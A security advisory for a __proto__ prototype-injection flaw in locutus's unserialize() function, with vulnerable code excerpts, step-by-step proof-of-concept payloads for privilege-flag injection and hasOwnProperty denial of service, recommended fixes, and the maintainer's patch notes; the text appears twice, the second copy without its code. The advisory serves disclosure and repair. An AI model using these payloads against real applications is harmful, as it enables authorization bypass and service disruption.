Summary
The unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.
This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied.
Details
The vulnerable code is in two functions within src/php/var/unserialize.ts:
expectArrayItems() at line 358:
// src/php/var/unserialize.ts:329-366
function expectArrayItems(
str: string,
expectedItems = 0,
cache: CacheFn,
): [UnserializedObject | UnserializedValue[], number] {
// ...
const items: UnserializedObject = {}
// ...
for (let i = 0; i < expectedItems; i++) {
key = expectKeyOrIndex(str)
// ...
item = expectType(str, cache)
// ...
items[String(key[0])] = item[0] // line 358 — no __proto__ filtering
}
// ...
}
expectObject() at line 278:
// src/php/var/unserialize.ts:246-287
function expectObject(str: string, cache: CacheFn): ParsedResult {
// ...
const obj: UnserializedObject = {}
// ...
for (let i = 0; i < propCount; i++) {
// ...
obj[String(prop[0])] = value[0] // line 278 — no __proto__ filtering
}
// ...
}
Both functions create a plain object ({}) and assign user-controlled keys via bracket notation. When the key is __proto__, JavaScript's __proto__ setter replaces the object's prototype rather than creating a regular property. This means:
- Properties in the attacker-supplied prototype become accessible via dot notation and the
in operator
- These properties are invisible to
Object.keys(), JSON.stringify(), and hasOwnProperty()
- They propagate to copies made via
for...in loops, becoming real own properties
- The attacker can override
hasOwnProperty, toString, valueOf with non-function values
Notably, parse_str in the same package has a regex guard against __proto__ (line 74 of src/php/strings/parse_str.ts), but no equivalent protection was applied to unserialize.
This is not global Object.prototype pollution — only the deserialized object's prototype is replaced. Other objects in the application are not affected.
PoC
Setup:
npm install locutus@3.0.24
Step 1 — Property injection via array deserialization:
import { unserialize } from 'locutus/php/var/unserialize';
const payload = 'a:2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const config = unserialize(payload);
console.log(config.isAdmin); // true (injected via prototype)
console.log(Object.keys(config)); // ['name'] — isAdmin is hidden
console.log('isAdmin' in config); // true — bypasses 'in' checks
console.log(config.hasOwnProperty('isAdmin')); // false — invisible to hasOwnProperty
Verified output:
true
[ 'name' ]
true
false
Step 2 — for...in propagation makes injected properties real:
const copy = {};
for (const k in config) copy[k] = config[k];
console.log(copy.isAdmin); // true (now an own property)
console.log(copy.hasOwnProperty('isAdmin')); // true
Verified output:
Step 3 — Method override denial of service:
const payload2 = 'a:1:{s:9:"__proto__";a:1:{s:14:"hasOwnProperty";b:1;}}';
const obj = unserialize(payload2);
obj.hasOwnProperty('x'); // TypeError: obj.hasOwnProperty is not a function
Verified output:
TypeError: obj.hasOwnProperty is not a function
Step 4 — Object type (stdClass) is also vulnerable:
const payload3 = 'O:8:"stdClass":2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const obj2 = unserialize(payload3);
console.log(obj2.isAdmin); // true
console.log('isAdmin' in obj2); // true
Step 5 — Confirm NOT global pollution:
console.log(({}).isAdmin); // undefined — global Object.prototype is clean
Impact
- Property injection: Attacker-controlled properties become accessible on the deserialized object via dot notation and the
in operator while being invisible to Object.keys() and hasOwnProperty(). Applications that use if (config.isAdmin) or if ('role' in config) patterns on deserialized data are vulnerable to authorization bypass.
- Property propagation: When consuming code copies the object using
for...in (a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequent hasOwnProperty checks.
- Denial of service: The injected prototype can override
hasOwnProperty, toString, valueOf, and other Object.prototype methods with non-function values, causing TypeError when these methods are called on the deserialized object.
The primary use case for locutus unserialize is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic.
Recommended Fix
Filter dangerous keys before assignment in both expectArrayItems and expectObject. Use Object.defineProperty to create a data property without triggering the __proto__ setter:
const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
// In expectArrayItems (line 358) and expectObject (line 278):
const keyStr = String(key[0]); // or String(prop[0]) in expectObject
if (DANGEROUS_KEYS.has(keyStr)) {
Object.defineProperty(items, keyStr, {
value: item[0],
writable: true,
enumerable: true,
configurable: true,
});
} else {
items[keyStr] = item[0];
}
Alternatively, create objects with a null prototype to prevent __proto__ setter invocation entirely:
// Replace: const items: UnserializedObject = {}
// With:
const items = Object.create(null) as UnserializedObject;
The Object.create(null) approach is more robust as it prevents the __proto__ setter from ever being triggered, regardless of key value.
Maintainer Reponse
Thanks for the report. I reproduced this issue locally against locutus@3.0.24 and agree that unserialize() was vulnerable to __proto__-driven prototype injection on the returned object.
This is now fixed on main and released in locutus@3.0.25.
Fix shipped in:
The fix hardens src/php/var/unserialize.ts by treating __proto__, constructor, and prototype as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. That preserves the key in the returned value without invoking JavaScript's prototype setter semantics.
Maintainer-tested repro before the fix:
- attacker-controlled serialized
__proto__ key produced inherited properties on the returned object
Object.keys() hid the injected key while 'key' in obj stayed true
- built-in methods like
hasOwnProperty could be disrupted
Maintainer-tested state after the fix in 3.0.25:
- dangerous keys are kept as own enumerable properties
- the returned object's prototype is not replaced
- the regression is covered by
test/custom/unserialize-prototype-pollution.vitest.ts
I am treating this as a real package vulnerability with patched version 3.0.25.
Summary
The
unserialize()function inlocutus/php/var/unserializeassigns deserialized keys to plain objects via bracket notation without filtering the__proto__key. When a PHP serialized payload contains__proto__as an array or object key, JavaScript's__proto__setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.This is distinct from the previously reported prototype pollution in
parse_str(GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) —unserializeis a different function with no mitigation applied.Details
The vulnerable code is in two functions within
src/php/var/unserialize.ts:expectArrayItems()at line 358:expectObject()at line 278:Both functions create a plain object (
{}) and assign user-controlled keys via bracket notation. When the key is__proto__, JavaScript's__proto__setter replaces the object's prototype rather than creating a regular property. This means:inoperatorObject.keys(),JSON.stringify(), andhasOwnProperty()for...inloops, becoming real own propertieshasOwnProperty,toString,valueOfwith non-function valuesNotably,
parse_strin the same package has a regex guard against__proto__(line 74 ofsrc/php/strings/parse_str.ts), but no equivalent protection was applied tounserialize.This is not global
Object.prototypepollution — only the deserialized object's prototype is replaced. Other objects in the application are not affected.PoC
Setup:
Step 1 — Property injection via array deserialization:
Verified output:
Step 2 — for...in propagation makes injected properties real:
Verified output:
Step 3 — Method override denial of service:
Verified output:
Step 4 — Object type (stdClass) is also vulnerable:
Step 5 — Confirm NOT global pollution:
Impact
inoperator while being invisible toObject.keys()andhasOwnProperty(). Applications that useif (config.isAdmin)orif ('role' in config)patterns on deserialized data are vulnerable to authorization bypass.for...in(a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequenthasOwnPropertychecks.hasOwnProperty,toString,valueOf, and otherObject.prototypemethods with non-function values, causingTypeErrorwhen these methods are called on the deserialized object.The primary use case for locutus
unserializeis deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic.Recommended Fix
Filter dangerous keys before assignment in both
expectArrayItemsandexpectObject. UseObject.definePropertyto create a data property without triggering the__proto__setter:Alternatively, create objects with a null prototype to prevent
__proto__setter invocation entirely:The
Object.create(null)approach is more robust as it prevents the__proto__setter from ever being triggered, regardless of key value.Maintainer Reponse
Thanks for the report. I reproduced this issue locally against
locutus@3.0.24and agree thatunserialize()was vulnerable to__proto__-driven prototype injection on the returned object.This is now fixed on
mainand released inlocutus@3.0.25.Fix shipped in:
main:345a6211e1e6f939f96a7090bfeff642c9fcf9e4The fix hardens
src/php/var/unserialize.tsby treating__proto__,constructor, andprototypeas dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. That preserves the key in the returned value without invoking JavaScript's prototype setter semantics.Maintainer-tested repro before the fix:
__proto__key produced inherited properties on the returned objectObject.keys()hid the injected key while'key' in objstayed truehasOwnPropertycould be disruptedMaintainer-tested state after the fix in
3.0.25:test/custom/unserialize-prototype-pollution.vitest.tsI am treating this as a real package vulnerability with patched version
3.0.25.